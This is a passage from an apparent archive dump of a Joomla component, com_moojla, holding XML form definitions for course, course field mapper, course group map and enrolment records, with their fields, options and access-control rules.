                       autocomplete="off" />
                <!-- Cangotomoodle Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="cangotomoodle"
                      
label="COM_MOOJLA_COURSE_CANGOTOMOODLE_LABEL"
                      
description="COM_MOOJLA_COURSE_CANGOTOMOODLE_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="2">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                        <option
value="2">COM_MOOJLA_COURSE_DEFAULT</option>
                </field>
                <!-- Preloadaudio Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="preloadaudio"
                      
label="COM_MOOJLA_COURSE_PRELOADAUDIO_LABEL"
                      
description="COM_MOOJLA_COURSE_PRELOADAUDIO_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0"
                       showon="useglobalaudio:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Loginurl Field. Type: Text. (joomla)-->
                <field type="text"
                       name="loginurl"
                       label="COM_MOOJLA_COURSE_LOGINURL_LABEL"
                       size="256"
                       maxlength="256"
                       default=""
                      
description="COM_MOOJLA_COURSE_LOGINURL_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_LOGINURL_MESSAGE"
                       hint="COM_MOOJLA_COURSE_LOGINURL_HINT"
                       autocomplete="on"
                       showon="showlogintab:1" />
                <!-- In_enrol_date Field. Type: Text. (joomla)-->
                <field type="text"
                       name="in_enrol_date"
                      
label="COM_MOOJLA_COURSE_IN_ENROL_DATE_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_IN_ENROL_DATE_MESSAGE"
                       autocomplete="on" />
                <!-- Enddate Field. Type: Calendar. (joomla)-->
                <field type="calendar"
                       name="enddate"
                       label="COM_MOOJLA_COURSE_ENDDATE_LABEL"
                       default="NOW"
                       format="%Y-%m-%d %H:%M"
                       filter="user_utc"
                       showtime="true" />
                <!-- Remoteid Field. Type: Text. (joomla)-->
                <field type="text"
                       name="remoteid"
                       label="COM_MOOJLA_COURSE_REMOTEID_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_COURSE_REMOTEID_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_REMOTEID_MESSAGE"
                       autocomplete="on" />
                <!-- Guest Field. Type: Text. (joomla)-->
                <field type="text"
                       name="guest"
                       label="COM_MOOJLA_COURSE_GUEST_LABEL"
                       size="10"
                       maxlength="50"
                       default="0"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="INT"
                       message="COM_MOOJLA_COURSE_GUEST_MESSAGE"
                       autocomplete="on" />
                <!-- Cost Field. Type: Text. (joomla)-->
                <field type="text"
                       name="cost"
                       label="COM_MOOJLA_COURSE_COST_LABEL"
                       size="10"
                       maxlength="50"
                       default="0"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="INT"
                       message="COM_MOOJLA_COURSE_COST_MESSAGE"
                       hint="COM_MOOJLA_COURSE_COST_HINT"
                       autocomplete="on" />
                <!-- Teachers Field. Type: Editor. (joomla)-->
                <field type="editor"
                       name="teachers"
                       label="COM_MOOJLA_COURSE_TEACHERS_LABEL"
                       default=""
                       buttons="no"
                       editor="codemirror|none"
                       filter="safehtml" />
                <!-- Summary_files Field. Type: Editor. (joomla)-->
                <field type="editor"
                       name="summary_files"
                      
label="COM_MOOJLA_COURSE_SUMMARY_FILES_LABEL"
                       default=""
                       buttons="no"
                       editor="codemirror|none"
                       filter="safehtml" />
                <!-- Autoplay Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="autoplay"
                       label="COM_MOOJLA_COURSE_AUTOPLAY_LABEL"
                      
description="COM_MOOJLA_COURSE_AUTOPLAY_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0"
                       showon="useglobalvideo:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Summary Field. Type: Editor. (joomla)-->
                <field type="editor"
                       name="summary"
                       label="COM_MOOJLA_COURSE_SUMMARY_LABEL"
                       default=""
                       buttons="no"
                       editor="tinymce|none"
                       filter="safehtml" />
                <!-- Useglobalaudio Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="useglobalaudio"
                      
label="COM_MOOJLA_COURSE_USEGLOBALAUDIO_LABEL"
                      
description="COM_MOOJLA_COURSE_USEGLOBALAUDIO_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="1">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Alias Field. Type: Text. (joomla)-->
                <field type="text"
                       name="alias"
                       label="COM_MOOJLA_COURSE_ALIAS_LABEL"
                       description="JFIELD_ALIAS_DESC"
                       filter="STRING"
                       hint="COM_MOOJLA_COURSE_ALIAS_HINT" />
                <!-- Cat_name Field. Type: Text. (joomla)-->
                <field type="text"
                       name="cat_name"
                       label="COM_MOOJLA_COURSE_CAT_NAME_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_CAT_NAME_MESSAGE"
                       hint="COM_MOOJLA_COURSE_CAT_NAME_HINT"
                       autocomplete="on"
                       showon="cat_:" />
                <!-- Currency Field. Type: Text. (joomla)-->
                <field type="text"
                       name="currency"
                       label="COM_MOOJLA_COURSE_CURRENCY_LABEL"
                       size="10"
                       maxlength="50"
                       default="IRT"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_CURRENCY_MESSAGE"
                       autocomplete="on" />
                <!-- Alterurl Field. Type: Text. (joomla)-->
                <field type="text"
                       name="alterurl"
                       label="COM_MOOJLA_COURSE_ALTERURL_LABEL"
                       size="256"
                       maxlength="256"
                       default=""
                      
description="COM_MOOJLA_COURSE_ALTERURL_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_ALTERURL_MESSAGE"
                       hint="COM_MOOJLA_COURSE_ALTERURL_HINT"
                       autocomplete="on"
                       showon="popupbutton:0" />
                <!-- Loginlbl Field. Type: Text. (joomla)-->
                <field type="text"
                       name="loginlbl"
                       label="COM_MOOJLA_COURSE_LOGINLBL_LABEL"
                       size="20"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_COURSE_LOGINLBL_DESCRIPTION"
                       class="text_area"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_LOGINLBL_MESSAGE"
                       hint="COM_MOOJLA_COURSE_LOGINLBL_HINT"
                       autocomplete="off" />
                <!-- Buylbl Field. Type: Text. (joomla)-->
                <field type="text"
                       name="buylbl"
                       label="COM_MOOJLA_COURSE_BUYLBL_LABEL"
                       size="20"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_COURSE_BUYLBL_DESCRIPTION"
                       class="text_area"
                       filter="STRING"
                       message="COM_MOOJLA_COURSE_BUYLBL_MESSAGE"
                       hint="COM_MOOJLA_COURSE_BUYLBL_HINT"
                       autocomplete="off" />
                <!-- Enrollbl Field. Type: Text. (joomla)-->
                <field type="text"
                       name="enrollbl"
                       label="COM_MOOJLA_COURSE_ENROLLBL_LABEL"
                       size="20"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_COURSE_ENROLLBL_DESCRIPTION"
                       class="text_area"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_ENROLLBL_MESSAGE"
                       hint="COM_MOOJLA_COURSE_ENROLLBL_HINT"
                       autocomplete="off" />
                <!-- Popupbutton Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="popupbutton"
                      
label="COM_MOOJLA_COURSE_POPUPBUTTON_LABEL"
                      
description="COM_MOOJLA_COURSE_POPUPBUTTON_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="2"
                       readonly="false"
                       disabled="false">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                        <option
value="2">COM_MOOJLA_COURSE_DEFAULT</option>
                </field>
                <!-- Videotype Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="videotype"
                       label="COM_MOOJLA_COURSE_VIDEOTYPE_LABEL"
                      
description="COM_MOOJLA_COURSE_VIDEOTYPE_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="1"
                       showon="useglobalvideo:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_MODAL</option>
                        <option
value="2">COM_MOOJLA_COURSE_EMBED</option>
                        <option
value="3">COM_MOOJLA_COURSE_SCROLL_TO_TOP</option>
                </field>
                <!-- Registrationurl Field. Type: Text. (joomla)-->
                <field type="text"
                       name="registrationurl"
                      
label="COM_MOOJLA_COURSE_REGISTRATIONURL_LABEL"
                       size="256"
                       maxlength="256"
                       default=""
                      
description="COM_MOOJLA_COURSE_REGISTRATIONURL_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_REGISTRATIONURL_MESSAGE"
                      
hint="COM_MOOJLA_COURSE_REGISTRATIONURL_HINT"
                       autocomplete="on"
                       showon="showregtab:1" />
                <!-- Self_enrolment Field. Type: Text. (joomla)-->
                <field type="text"
                       name="self_enrolment"
                      
label="COM_MOOJLA_COURSE_SELF_ENROLMENT_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_SELF_ENROLMENT_MESSAGE"
                       autocomplete="on" />
                <!-- Freeenterlbl Field. Type: Text. (joomla)-->
                <field type="text"
                       name="freeenterlbl"
                      
label="COM_MOOJLA_COURSE_FREEENTERLBL_LABEL"
                       size="20"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_COURSE_FREEENTERLBL_DESCRIPTION"
                       class="text_area"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_FREEENTERLBL_MESSAGE"
                       hint="COM_MOOJLA_COURSE_FREEENTERLBL_HINT"
                       autocomplete="off" />
                <!-- Permanent_fields Field. Type: Sql. (joomla)-->
                <field type="sql"
                       name="permanent_fields"
                      
label="COM_MOOJLA_COURSE_PERMANENT_FIELDS_LABEL"
                       query="DESC `#__moojla_course`"
                       default=""
                      
description="COM_MOOJLA_COURSE_PERMANENT_FIELDS_DESCRIPTION"
                       key_field="Field"
                       value_field="Field"
                       multiple="true" />
                <!-- Useglobalvideo Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="useglobalvideo"
                      
label="COM_MOOJLA_COURSE_USEGLOBALVIDEO_LABEL"
                      
description="COM_MOOJLA_COURSE_USEGLOBALVIDEO_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="1">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Course_templatestyle_forcourseconfig Field. Type:
Customtemplatestyle. (custom)-->
                <field type="customtemplatestyle"
                      
name="course_templatestyle_forcourseconfig"
                      
label="COM_MOOJLA_COURSE_COURSE_TEMPLATESTYLE_FORCOURSECONFIG_LABEL"
                      
description="COM_MOOJLA_COURSE_COURSE_TEMPLATESTYLE_FORCOURSECONFIG_DESCRIPTION"
                      
message="COM_MOOJLA_COURSE_COURSE_TEMPLATESTYLE_FORCOURSECONFIG_MESSAGE"
                       class="list_class"
                       multiple="false"
                       default="0"
                       button="false" />
                <!-- Preventdownload Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="preventdownload"
                      
label="COM_MOOJLA_COURSE_PREVENTDOWNLOAD_LABEL"
                      
description="COM_MOOJLA_COURSE_PREVENTDOWNLOAD_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0"
                       showon="useglobalvideo:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Course_detail_layout Field. Type: Filelist.
(joomla)-->
                <field type="filelist"
                       name="course_detail_layout"
                      
label="COM_MOOJLA_COURSE_COURSE_DETAIL_LAYOUT_LABEL"
                      
directory="components/com_moojla/views/coursedetail/tmpl/"
                       default=""
                      
description="COM_MOOJLA_COURSE_COURSE_DETAIL_LAYOUT_DESCRIPTION"
                       filter="^[^_]*\.php$"
                       hide_none="ture"
                       hide_default="true" />
                <!-- Preloadvideo Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="preloadvideo"
                      
label="COM_MOOJLA_COURSE_PRELOADVIDEO_LABEL"
                      
description="COM_MOOJLA_COURSE_PRELOADVIDEO_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0"
                       showon="useglobalvideo:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Availabilityinfolink Field. Type: Radio.
(joomla)-->
                <field type="radio"
                       name="availabilityinfolink"
                      
label="COM_MOOJLA_COURSE_AVAILABILITYINFOLINK_LABEL"
                      
description="COM_MOOJLA_COURSE_AVAILABILITYINFOLINK_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="2"
                       readonly="false"
                       disabled="false">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_ENABLE</option>
                        <option
value="0">COM_MOOJLA_COURSE_DISABLE</option>
                        <option
value="2">COM_MOOJLA_COURSE_DEFAULT</option>
                </field>
                <!-- Muted Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="muted"
                       label="COM_MOOJLA_COURSE_MUTED_LABEL"
                      
description="COM_MOOJLA_COURSE_MUTED_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0"
                       showon="useglobalvideo:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Redirect_after_enrol Field. Type: Radio.
(joomla)-->
                <field type="radio"
                       name="redirect_after_enrol"
                      
label="COM_MOOJLA_COURSE_REDIRECT_AFTER_ENROL_LABEL"
                      
description="COM_MOOJLA_COURSE_REDIRECT_AFTER_ENROL_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="2">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                        <option
value="2">COM_MOOJLA_COURSE_DEFAULT</option>
                </field>
                <!-- Preventdownloadaudio Field. Type: Radio.
(joomla)-->
                <field type="radio"
                       name="preventdownloadaudio"
                      
label="COM_MOOJLA_COURSE_PREVENTDOWNLOADAUDIO_LABEL"
                      
description="COM_MOOJLA_COURSE_PREVENTDOWNLOADAUDIO_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0"
                       showon="useglobalaudio:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Showlogintab Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="showlogintab"
                      
label="COM_MOOJLA_COURSE_SHOWLOGINTAB_LABEL"
                      
description="COM_MOOJLA_COURSE_SHOWLOGINTAB_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="2"
                       showon="popupbutton:1">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                        <option
value="2">COM_MOOJLA_COURSE_INHERIT</option>
                </field>
                <!-- Autoplayaudio Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="autoplayaudio"
                      
label="COM_MOOJLA_COURSE_AUTOPLAYAUDIO_LABEL"
                      
description="COM_MOOJLA_COURSE_AUTOPLAYAUDIO_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="0"
                       showon="useglobalaudio:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Cat_id Field. Type: Text. (joomla)-->
                <field type="text"
                       name="cat_id"
                       label="COM_MOOJLA_COURSE_CAT_ID_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="INT"
                       message="COM_MOOJLA_COURSE_CAT_ID_MESSAGE"
                       autocomplete="on"
                       showon="cat_:" />
                <!-- Metadata Fields-->
                <fields name="metadata"
                       
label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
                        <fieldset name="vdmmetadata"
                                 
label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
                                <!-- Robots Field. Type: List
(joomla)-->
                                <field name="robots"
                                       type="list"
                                      
label="JFIELD_METADATA_ROBOTS_LABEL"
                                      
description="JFIELD_METADATA_ROBOTS_DESC">
                                        <option
value="">JGLOBAL_USE_GLOBAL</option>
                                        <option value="index,
follow">JGLOBAL_INDEX_FOLLOW</option>
                                        <option value="noindex,
follow">JGLOBAL_NOINDEX_FOLLOW</option>
                                        <option value="index,
nofollow">JGLOBAL_INDEX_NOFOLLOW</option>
                                        <option value="noindex,
nofollow">JGLOBAL_NOINDEX_NOFOLLOW</option>
                                </field>
                                <!-- Author Field. Type: Text
(joomla)-->
                                <field name="author"
                                       type="text"
                                       label="JAUTHOR"
                                      
description="JFIELD_METADATA_AUTHOR_DESC"
                                       size="20" />
                                <!-- Rights Field. Type: Textarea
(joomla)-->
                                <field name="rights"
                                       type="textarea"
                                      
label="JFIELD_META_RIGHTS_LABEL"
                                      
description="JFIELD_META_RIGHTS_DESC"
                                       required="false"
                                       filter="string"
                                       cols="30"
                                       rows="2" />
                        </fieldset>
                </fields>
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this course"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="course"
		/>
	</fieldset>
</form>models/forms/course_field_mapper.xml000064400000014347151165724400013724
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_COURSE_FIELD_MAPPER_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_COURSE_FIELD_MAPPER_CREATED_BY_DESC"
/>
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_COURSE_FIELD_MAPPER_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_COURSE_FIELD_MAPPER_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Access Field. Type: Accesslevel (joomla)-->
                <field name="access"
                       type="accesslevel"
                       label="JFIELD_ACCESS_LABEL"
                       description="JFIELD_ACCESS_DESC"
                       default="1"
                       required="false" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_VERSION_LABEL"
                      
description="COM_MOOJLA_COURSE_FIELD_MAPPER_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla course_field_mapper" />
                <!-- Dynamic Fields.-->
                <!-- Coursefield Field. Type: Moojlacoursefield.
(custom)-->
                <field type="moojlacoursefield"
                       name="coursefield"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_COURSEFIELD_LABEL"
                      
description="COM_MOOJLA_COURSE_FIELD_MAPPER_COURSEFIELD_DESCRIPTION"
                       class="list_class"
                       multiple="false"
                       default=""
                       required="true"
                       button="false" />
                <!-- Mcoursefields Field. Type: Mcoursefields.
(custom)-->
                <field type="mcoursefields"
                       name="mcoursefields"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_MCOURSEFIELDS_LABEL"
                      
description="COM_MOOJLA_COURSE_FIELD_MAPPER_MCOURSEFIELDS_DESCRIPTION"
                       class="list_class"
                       multiple="false"
                       default=""
                       required="true"
                       button="false" />
                <!-- Field_icon Field. Type: Media. (joomla)-->
                <field type="media"
                       name="field_icon"
                      
label="COM_MOOJLA_COURSE_FIELD_MAPPER_FIELD_ICON_LABEL"
                      
description="COM_MOOJLA_COURSE_FIELD_MAPPER_FIELD_ICON_DESCRIPTION"
                       directory=""
                       preview="ture" />
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this course_field_mapper"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="course_field_mapper"
		/>
	</fieldset>
</form>models/forms/course_group_map.xml000064400000014307151165724400013262
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_COURSE_GROUP_MAP_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_COURSE_GROUP_MAP_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_COURSE_GROUP_MAP_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_COURSE_GROUP_MAP_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_VERSION_LABEL"
                      
description="COM_MOOJLA_COURSE_GROUP_MAP_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla course_group_map" />
                <!-- Dynamic Fields.-->
                <!-- Moojlacourse Field. Type: Moojlacourse.
(custom)-->
                <field type="moojlacourse"
                       name="moojlacourse"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_LABEL"
                      
description="COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_DESCRIPTION"
                      
message="COM_MOOJLA_COURSE_GROUP_MAP_MOOJLACOURSE_MESSAGE"
                       class="list_class"
                       multiple="false"
                       default=""
                       button="false" />
                <!-- Course_group Field. Type: Customusergroup.
(custom)-->
                <field type="customusergroup"
                       name="course_group"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_COURSE_GROUP_LABEL"
                      
description="COM_MOOJLA_COURSE_GROUP_MAP_COURSE_GROUP_DESCRIPTION"
                       class="list_class"
                       button="true" />
                <!-- Role Field. Type: List. (joomla)-->
                <field type="list"
                       name="role"
                      
label="COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL"
                      
description="COM_MOOJLA_COURSE_GROUP_MAP_ROLE_DESCRIPTION"
                       class="list_class"
                       multiple="false"
                       default="">
                        <!-- Option Set.-->
                        <option
value="">COM_MOOJLA_COURSE_GROUP_MAP_SELECT_ROLE</option>
                        <option
value="5">COM_MOOJLA_COURSE_GROUP_MAP_STUDENT</option>
                        <option
value="3">COM_MOOJLA_COURSE_GROUP_MAP_TEACHER</option>
                        <option
value="1">COM_MOOJLA_COURSE_GROUP_MAP_MANAGER</option>
                </field>
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this course_group_map"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="course_group_map"
		/>
	</fieldset>
</form>models/forms/enrolment.xml000064400000015252151165724400011714
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_ENROLMENT_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_ENROLMENT_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_ENROLMENT_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_ENROLMENT_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
